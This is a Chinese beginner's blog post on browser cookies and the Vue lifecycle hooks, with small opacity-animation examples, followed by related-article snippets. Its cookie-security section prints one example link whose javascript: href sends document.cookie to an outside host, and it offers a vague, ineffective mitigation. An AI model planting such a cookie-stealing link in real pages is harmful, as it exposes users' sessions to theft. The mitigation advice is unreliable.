Vue(简单了解Cookie、生命周期)

news2024/12/23 14:16:29

一、了解Cookie

类似于对象响应携带数据

  • 输入用户名密码跳转到指定页面

  • 点击指定页面中其中一个按钮跳转到另一个指定页面(再不需用输入用户名密码)

  • 例如现在很多浏览器实现七天免密登录

 简单理解:就是在网站登录页面之后,服务器响应返回带着Cookie,然后这一组Cookie就存到自己的浏览器,当浏览器在当前网页再查看其他页面时候就会带着这一组Cookie进行访问(这时候就不需要用户名和密码的输入),当访问到新的页面之后,重新响应并带着新的一组Cookie返回到当前浏览器存放(那么当前浏览器就存放着两次响应返回的Cookie)

禁止:跨浏览器读取Cookie 

安全性问题 

  • 可以直接通过指令获取到Cookie

  •  通过一个html链接数据,数据包含跳转到页面和获取本地Cookie,随后把本地Cookie都发送到这个服务器
<a href=javascript:location.href="http://www.baidu.com"+document.cookie>目标网址</a>

解决方式

通过保护开发者工具中数据的Cookies数据

 

二、生命周期(以下每一条钩子对照下面的生命周期图进行比对)

生命周期:又名周期回调函数、生命周期函数、生命周期钩子

生命周期是什么?

Vue在关键时刻帮我们调用一些特殊的名称的函数

生命周期函数的名字不可更改,但函数的具体内容是程序员根据业务需求编写

生命周期函数中的this指向的是vm 或者 最简实例对象Vue

一个透明度变化案例引出生命周期:mounted(挂载钩子)

(生命周期和方法平级,是个函数)

当页面展示时候就会出现效果

这里使用mounted:将初始的真实DOM元素放入页面,

解释什么是初始的真实DOM:就是在页面渲染时候会出现的一组生命周期,当这个周期完成之后,mounted就不会出现

 

 

 

//此代码不能实现页面一刷新就开始闪烁
//以下代码需要使用按钮才会执行效果,直接使用模板解析会出现指数增长:多次模板解析定时器
<!-- {{change()}} 当使用模板内调用方法回循环解析:指数增加定时器开启-->
<!-- <button @click="change"></button> -->
<h2 :style="{opacity}">欢迎学习</h2>
//vue
 methods: {
        // 只要使用一次:发现vue中数据变化就会重新解析
        chenge() {
          setInterval(() => {
            this.opacity -= 0.01;
            // 此处注意:js不会计算小数:如果opacity的值小于等于0
            if (vm.opacity <= 0) vm.opacity = 1;
          }, 16);
        },
      },
//以下就是直接使用挂在完毕演示到也页面的钩子使用
<h2 :style="{opacity}">欢迎学习</h2>
<h2 v-if="a">你好</h2>
//vue
 data: {
        opacity: 1,
        a: false,
      },
 mounted() {
        setInterval(() => {
          vm.opacity -= 0.01;
          // 此处注意:js不会计算小数:如果opacity的值小于等于0
          if (vm.opacity <= 0) vm.opacity = 1;
        }, 16);
   },

init Events&Lifecycle:初始化:指定多个周期函数并命名,指定事件处理(这时候还没有数据代理,没有._data)

1. beforeCreat:页面还未数据代理(无法通过vm访问data中的数据,methods方法)

init injections & reactivity: 初始化:完成数据代理、数据代理

2.created:实现数据代理和数据监测(通过vue的data数据查看和有没有getter)

has "el"option?: 查看你有没有与模板链接(有继续往下执行);如果没有el,就是当$mounte('#容器名')调用之后才会执行

has "template"option? : el标记的部分就是模板(没有template可以执行转为真实DOM);有可以通过template模板(也可以执行转为真实DOM)

template配置项里面的内容被div包裹可以替换外界模板整体

//以下整块代码就是模板,都会被解析,包括最外层div
 <div id="root">
      <h2>当前的n值是:{{n}}</h2>
      <button @click="add">点我n+1</button>
      <button @click="bye">点我销毁按钮</button>
 </div>
//存在template
   template:
      `<div>
         <h2>当前的n值是:{{n}}</h2>
         <button @click='add'>点我n+1</button>
       </div>`

 

3. beforeMounted:未经挂载

此时页面出现的都是经过vue编译的真实DOM,所有对DOM的操作,最终都不奏效(断点不影响后面真实DOM的产生,也就是前面对DOM的操作无效)

Creat vm.$eland replact "el"with it:将虚拟DOM转为真实DOM,并在$el上存放一份

4.mounted:

  • 此时页面出现的都是经过vue编译过的页面内容

  • 这时候对DOM的操作均有效,但是尽可能避免,Vue的初始化结束,可以开启:定时器、发送网络请求、订阅消息、绑定自定义事件、初始化操作

5.更新流程:

  • beforeUpdate:数据变成了新的,但是页面还是旧的

  •  Virtual DOM re-render and patch:新数据生成新的虚拟DOM与旧的虚拟DOM进行比较

  • updated:数据和页面内容同步

when vm.$destroy id called:当调用摧毁指令时候就会开始执行销毁vm(解绑所有指令(但是事件还是存在)和事件监听器)

页面之前解析的内容都存在,但是数据操作都不会显示

6.beforeDestroy:此时vm素有指令都处于可用,骂声执行销毁,在此阶段:关闭定时器,取消订阅消息,解绑自定义事件

需要移除所有事件(自定义事件)的监视,还有移除所有子组件

7.Destroy:

在多数场景中不适用destroy直接使用(目前是自杀)

以下是生命周期细分图

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/473070.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

新建Django项目

1. 创建项目 使用Django提供的命令&#xff0c;可以创建一个Django项目实例需要的配置项——包括数据库配置、Django配置和应用程序配置的集合。新建Django项目命令的语法格式如下&#xff1a; django-admin startproject 工程名称例如&#xff1a;想要在D:\的pythonProject目…

Mysql 存储过程 / 存储函数

目录 0 课程视频 1 基本语法 1.0 作用 ->在数据库中 封装sql语句 -> 复用 -> 减少网络交互 ->可接收参数返回数据 1.1 创建 1.2 调用 1.3 查看 1.4 删除 1.5 ; 封号结束符 改成 $$ 双刀符合结束语句 -> 因为打包封号结束有冲突 1.6 在cmd 中定义 存储过…

基于 SpringBoot+Vue+Java 的财务管理系统(附源码,教程)

文章目录 一 简介第二.主要技术第三、部分效果图第四章 系统设计4.1功能结构4.2 数据库设计4.2.1 数据库E/R图4.2.2 数据库表 第五章 系统功能实现5.1管理员功能模块 一 简介 财务管理系统的需求和管理上的不断提升&#xff0c;财务管理系统的潜力将无限扩大&#xff0c;财务管…

Postman预请求脚本、测试脚本(pre-request scripts、tests常用工作总结)

文章目录 Postman预请求脚本&#xff08;pre-request scripts工作常用总结&#xff09;Postman预请求脚本Postman测试脚本预请求脚本和测试脚本有什么区别常用工作总结登录接口返回的是Set-Cookie标头 Postman预请求脚本&#xff08;pre-request scripts工作常用总结&#xff0…

Spring Boot配置文件及日志信息

目录 前言&#xff1a; Spring Boot优点 配置文件 配置文件格式 读取配置文件 properties配置文件格式 properties优缺点分析 yml配置文件格式&#xff08;另一种标记语言&#xff09; yml优缺点分析 Spring Boot 不同平台配置文件规则 日志信息 日志的功能 Sprin…

Springboot +Flowable,设置任务处理人的四种方式(一)

一.简介 学习下UserTask 设置用户的三种方式&#xff0c;至于如何设置用户组&#xff0c;下篇文章再聊。 现在&#xff0c;假设我有如下一个简单的流程图&#xff1a; 那么该如何设置这个用户节点的处理人&#xff1f; 二.第一种&#xff1a;指定具体用户 第一种方式&…

电路中噪声来源

电路包括不同的部件和芯片&#xff0c;所有都有可能成为噪声的来源。例如&#xff0c;电阻会带来热噪声&#xff0c;这个噪声为宽频噪声&#xff0c;几乎涵盖所有频率范围&#xff1b;运算放大器其芯片内部会产生噪声&#xff1b;而 ADC产生的量化噪声相较于其他器件&#xff0…

【】右值引用完美转发

文章目录 右值引用和左值引用左值和右值概念左值引用 && 右值引用右值引用使用场景和意义左值引用的使用场景**左值引用的短板:**右值引用和移动语义STL容器增加的接口move函数右值引用的其他使用场景 完美转发万能引用完美转发保持值的属性完美转发的使用场景 右值引用…

【Linux】进程信号 --- 信号产生 信号递达和阻塞 信号捕捉

&#x1f34e;作者&#xff1a;阿润菜菜 &#x1f4d6;专栏&#xff1a;Linux系统编程 文章目录 一、预备知识二、信号产生1. 通过终端按键产生信号1.1 signal()1.2 core dump标志位、核心存储文件 2.通过系统调用向进程发送信号3.由软件条件产生信号3.1 alarm函数和SIGALRM信号…

vue3通过ref拿element弹框中的组件问题

写在<el-dialog>中的组件&#xff0c;在一开始&#xff0c;弹框没有弹出来的时候&#xff0c;<el-dialog>中的组件是没有被渲染出来的&#xff0c;因此在<el-dialog>中使用ref标记某个组件&#xff0c;在el-dialog没有被渲染出来之前去拿的话&#xff0c;是拿…

ml常见代码片段

常用ML代码片段 变换一列 new_df[brand] new_df[prod_name].apply(lambda x: x.split()[0])变换2列 new_df[chip_total_sales] new_df.apply(lambda x: x[total_sales] * x[is_chip], axis 1) # 重要的是axis1groupby 计数&#xff0c;求和&#xff0c;取第一个值&#x…

C语言起源、特性和发展历程

本文从ALGOL 60语言谈起&#xff0c;简述C语言的起源和发展历程&#xff0c;然后对C语言的一些特性做了探讨&#xff0c;最后说说C语言为什么在众多编程语言中&#xff0c;起到了承上启下的作用。 本文介绍以下内容&#xff1a; C语言的起源C语言的发展C语言的特性C语言的重要…

外卖项目优化-01-redis缓存短信验证码、菜品数据

文章目录 外卖项目优化-01课程内容前言1. 环境搭建1.1 版本控制解决branch和tag命名冲突 1.2 环境准备 2. 缓存短信验证码2.1 思路分析2.2 代码改造2.3 功能测试 3. 缓存菜品信息3.1 实现思路3.2 代码改造3.2.1 查询菜品缓存3.2.2 清理菜品缓存 3.3 功能测试3.4 提交并推送代码…

AutoGPT安装教程

最近安装AutoGPT时遇到了一些问题&#xff0c;写下这篇文章记录一下 1 下载AutoGPT AutoGPT链接&#xff1a;https://github.com/Significant-Gravitas/Auto-GPT/tree/v0.2.2 下载AutoGPT 推荐下载stable 版本 2 申请openai 的api key 获取api的key&#xff0c;这里就不介…

【超算/先进计算学习】日报8

目录 今日已完成任务列表遇到的问题及解决方案任务完成详细笔记阶段一阶段二阶段三阶段四 对自己的表现是否满意简述下次计划其他反馈 今日已完成任务列表 超算/高性能计算总结 遇到的问题及解决方案 无 任务完成详细笔记 阶段一 在学习的第一阶段&#xff0c;我们首先对需要…

ChatGPT+智能家居在AWE引热议 OpenCPU成家电产业智能化降本提速引擎

作为家电行业的风向标和全球三大消费电子展之一&#xff0c;4月27日-30日&#xff0c;以“智科技、创未来”为主题的AWE 2023在上海新国际博览中心举行&#xff0c;本届展会展现了科技、场景等创新成果&#xff0c;为我们揭示家电与消费电子的发展方向。今年展馆规模扩大至14个…

【pytest里的参数化:看几个例子就够了!】

参数化多个参数&#xff1a;可以使用多个参数来参数化测试。例如&#xff1a; import pytestpytest.mark.parametrize("x, y, expected", [(1, 2, 3),(3, 4, 7),(5, 6, 11), ]) def test_addition(x, y, expected):assert x y expected参数化列表&#xff1a;可以…

轻叶H5营销单页,让你的营销更加清爽高效

网络营销就是营销企业品牌形象、产品信息发布、优惠促销活动&#xff0c;最终目的就是争抢流量和客户。现在为了吸引流量&#xff0c;各种营销方式、广告玩法层出不穷&#xff0c;成本投入大&#xff0c;带来的转化不一定好。今天&#xff0c;我们要来讲一讲H5营销单页。 H5营销…

项目管理软件project下载安装配置图文教程

目录 前言 配置安装过程 总结 前言 Project是一种计划、组织和管理任务的工具&#xff0c;通常用于团队协作和项目管理。它可以帮助用户创建任务列表、分配任务、设置截止日期、跟踪进度、分析数据等。Project还可以生成各种报告&#xff0c;如甘特图、资源使用情况、任务分…

稀疏矩阵存储格式总结

稀疏矩阵是指矩阵中的元素大部分是0的矩阵&#xff0c;实际问题中大规模矩阵基本上都是稀疏矩阵&#xff0c;很多稀疏度在90%甚至99%以上,大规模的稀疏造成了大量无效数据的计算和存储资源占用&#xff0c;也无法有效的载入有限内存计算。因此我们需要有高效的稀疏矩阵存储格式…